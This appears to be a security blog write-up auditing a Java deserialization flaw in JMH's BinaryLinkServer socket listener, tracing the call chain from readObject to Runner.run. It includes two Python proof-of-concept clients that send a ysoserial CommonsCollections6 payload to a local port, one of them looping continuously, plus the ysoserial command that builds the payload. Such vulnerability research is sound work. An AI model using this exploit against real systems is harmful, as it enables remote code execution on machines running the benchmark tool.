A deserialization

Firstly

I would like to declare that this article can only serve as a learning approach for deserialization auditing and corresponding script writing, as it is actually difficult to exploit this vulnerability

Analysis

In the code (src/main/java/org/openjdk/jmh/runner/link/BinaryLinkServer.java L270), I found that ‘ois’ belongs to the handler method, which is a constructor, in here, is is initialized to socket.getInputStream():

1
2
3
4
5
6
7
8
9
public Handler(Socket socket) throws IOException {
this.socket = socket;
this.is = socket.getInputStream(); //here
this.os = socket.getOutputStream();

// eager OOS initialization, let the other party read the stream header
oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE));
oos.flush();
}

then the ‘socket’ data stream is encapsulated into ‘ois’:
L279

1
2
3
public void run() {
try {
ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE));

subsequently, the data stream was deserialized using ‘readObject’:
L287

1
2
Object obj;
while ((obj = ois.readObject()) != null) {

It seems that this is a classic deserialization vulnerability,next, we need to find the entrance to make use of it.

Follow up and see that ‘Handler’ is called in ‘Acceptor’
L216

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Acceptor() throws IOException {
listenAddress = getListenAddress();
server = new ServerSocket(getListenPort(), 50, listenAddress);
}

@Override
public void run() {
try {
while (!Thread.interrupted()) {
Socket clientSocket = server.accept();
Handler r = new Handler(clientSocket); //here
if (!handler.compareAndSet(null, r)) {
throw new IllegalStateException("The handler is already registered");
}

Acceptor is also a constructor, so check where it was called:
L206

1
2
3
4
5
6
}

acceptor = new Acceptor(); //here
acceptor.start();

handler = new AtomicReference<>();

It belongs to the “BinaryLinkServer” constructor,runSeparate called the ‘BinaryLinkServer’ method:
src/main/java/org/openjdk/jmh/runner/Runner.java
L584

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Multimap<BenchmarkParams, BenchmarkResult> runSeparate(ActionPlan actionPlan) {
Multimap<BenchmarkParams, BenchmarkResult> results = new HashMultimap<>();

if (actionPlan.getMeasurementActions().size() != 1) {
throw new IllegalStateException("Expect only single benchmark in the action plan, but was " + actionPlan.getMeasurementActions().size());
}

BinaryLinkServer server = null;
try {
server = new BinaryLinkServer(options, out); //here

server.setPlan(actionPlan);

BenchmarkParams params = actionPlan.getMeasurementActions().get(0).getParams();

`runSeparate’ appears in the ‘runBenchmarks’ method:
L539

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private Collection<RunResult> runBenchmarks(SortedSet<BenchmarkListEntry> benchmarks) throws RunnerException {
out.startRun();

Multimap<BenchmarkParams, BenchmarkResult> results = new TreeMultimap<>();
List<ActionPlan> plan = getActionPlans(benchmarks); //Pay attention to this method, it will set 'Type' to 'FORKED'`

etaBeforeBenchmarks(plan);

try {
for (ActionPlan r : plan) {
Multimap<BenchmarkParams, BenchmarkResult> res;
switch (r.getType()) {
case EMBEDDED:
res = runBenchmarksEmbedded(r);
break;
case FORKED:
res = runSeparate(r); //here
break;

There is a condition here that the ‘runSeparate’ method will only be call when the ‘Type’ is ‘FORKED’, but this is not a concern because in the ‘getActionPlans’ method above, ‘FORKED’ has been initialized as Type
L54

1
2
3
4
5
6
7
8
9
10
11
12
13
private List<ActionPlan> getActionPlans(Set<BenchmarkListEntry> benchmarks) {
ActionPlan base = new ActionPlan(ActionType.FORKED);
Returning to the main topic, 'runBenchmarks' will be called by the 'internalRun' method
L309
benchmarks.clear();
benchmarks.addAll(newBenchmarks);
}

Collection<RunResult> results = runBenchmarks(benchmarks); //here

// If user requested the result file, write it out.
if (resultFile != null) {
ResultFormatFactory.getInstance(

And ‘internalRun’ is called by the ‘run’ method, ‘run’ is a method of the ‘Runner’ class,
L182

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Collection<RunResult> run() throws RunnerException {
if (JMH_LOCK_IGNORE) {
out.println("# WARNING: JMH lock is ignored by user request, make sure no other JMH instances are running");
return internalRun();//here
}

final String tailMsg = " the JMH lock (" + JMH_LOCK_FILE + "), exiting. Use -Djmh.ignoreLock=true to forcefully continue.";

File lockFile;
try {
lockFile = new File(JMH_LOCK_FILE);
lockFile.createNewFile();

// Make sure the lock file is world-writeable, otherwise the lock file created by current
// user would not work for any other user, always failing the run.
lockFile.setWritable(true, false);
} catch (IOException e) {
throw new RunnerException("ERROR: Unable to create" + tailMsg, e);
}

try (RandomAccessFile raf = new RandomAccessFile(lockFile, "rw");
FileLock lock = raf.getChannel().tryLock()) {
if (lock == null) {
// Lock acquisition failed, pretend this was the overlap.
throw new OverlappingFileLockException();
}
return internalRun();//here

which is the entry point to ‘jmh’, we can see from the Sample that:
src/main/java/org/openjdk/jmh/samples/*
for example JMHSample_01_HelloWorld.java

1
2
3
4
5
6
7
8
9
10
 public static void main(String[] args) throws RunnerException {
Options opt = new OptionsBuilder()
.include(JMHSample_01_HelloWorld.class.getSimpleName())
.forks(1)
.build();

new Runner(opt).run(); //here
}

}

So now the entrance has been found, but there is one question, the trigger point for this vulnerability is a socket’s function, so we need to know his port before we can communicate:
in BinaryLinkServer class
L194

1
2
3
private int getListenPort() {
return Integer.getInteger("jmh.link.port", 0);
}

It listens to all ports, which means the ports are random, but jmh.link.port can be specified by command or written in code: -Djmh.link.port=9090
Now, assuming we already know the port, can write a client that sends malicious data to it, after continuous improvement, a usable POC was ultimately obtained:
use python3 and ysoserial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import time

def connect_to_server():
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = "127.0.0.1"
port = 9090

max_attempts = 20
attempts = 0

while attempts < max_attempts:
try:
client_socket.connect((host, port))
print(f"connect to {host}:{port}")
return client_socket

except socket.error as e:
attempts += 1
print(f"error,reconnect ({attempts}/{max_attempts}): {e}")
time.sleep(1)

print(f"error {host}:{port},reached maximum number of attempts")
return None

client_socket = connect_to_server()

if client_socket:
try:
#Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser
with open("cc6calc.ser", "rb") as file:
while True:
data_to_send = file.read(1024)
if not data_to_send:
break
client_socket.send(data_to_send)
response_data = client_socket.recv(1024)
print(f"Response received from the server: {response_data.decode('utf-8', 'replace')}")

finally:
client_socket.close()

Pasting dependencies in pom to simulate a real web environment:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

Finally, be sure to run POC first before running the jmh project:

Run the src/main/java/org/openjdk/jmh/samples/JMHSample_01_HelloWorld.java

In summary, this is a deserialization issue caused by socket communication, to exploit this issue, it is necessary to know the port number and the POC must first run before the project, this is due to code reasons:

1
2
3
if (!handler.compareAndSet(null, r)) {
throw new IllegalStateException("The handler is already registered");
}

After a while

I discovered a simpler attack scenario, when running “jmh” with the parameter “-Djmh.link.port=9090 -Djmh.ignoreLock=true” (and to use multiple “benchmarks”, this parameter must be added), it not only specifies the port, but also allows other “benchmarks” to be executed when the “jmh.lock” file exists, that is to say, by specifying these two parameters to the “jmh” project, I don’t have to restart the project to exploit the vulnerability, don’t worry about the POC execution order. As long as “benchmarks” are used, vulnerabilities will be triggered

Next, I will test “JMHSample_1_HelloWorld”, “JMHSample_2_BenchmarkModes”, “JMHSample_ 03_States”, “JMHSample_ 04_DefaultState”, and “JMHSample_ 05_StatesFixtures”

Run the project:

Run the POC:

After running POC, project the first benchmarks will report error:

But it’s not important, restart POC, run the other project, the subsequent benchmarks will trigger vulnerabilities:




For this, I have made some improvements to the POC, enable the script to continuously connect to the target port and send malicious data, no need to manually restart anything anymore, just wait for benchmarks to run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket
import time

def connect_to_server():
max_attempts = 100000 #Less than 10000 connections will not end the script, the purpose is to maintain a continuous connection
attempts = 0

while attempts < max_attempts:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 9090

try:
client_socket.connect((host, port))
print(f"connect to {host}:{port}")
return client_socket

except socket.error as e:
attempts += 1
print(f"error,reconnect ({attempts}/{max_attempts}): {e}")
time.sleep(1)

print(f"error {host}:{port},reached maximum number of attempts")
return None

#Even if the server closes the connection, it will not end the POC
while True:
client_socket = connect_to_server()

if client_socket:
try:
#Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser
with open("cc6calc.ser", "rb") as file:
while True:
data_to_send = file.read(1024)
if not data_to_send:
break
client_socket.send(data_to_send)
response_data = client_socket.recv(1024)
print(f"response received from the server: {response_data.decode('utf-8', 'replace')}")

finally:
client_socket.close()

As I said before, this loophole is difficult to exploit and can only be used for learning.


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.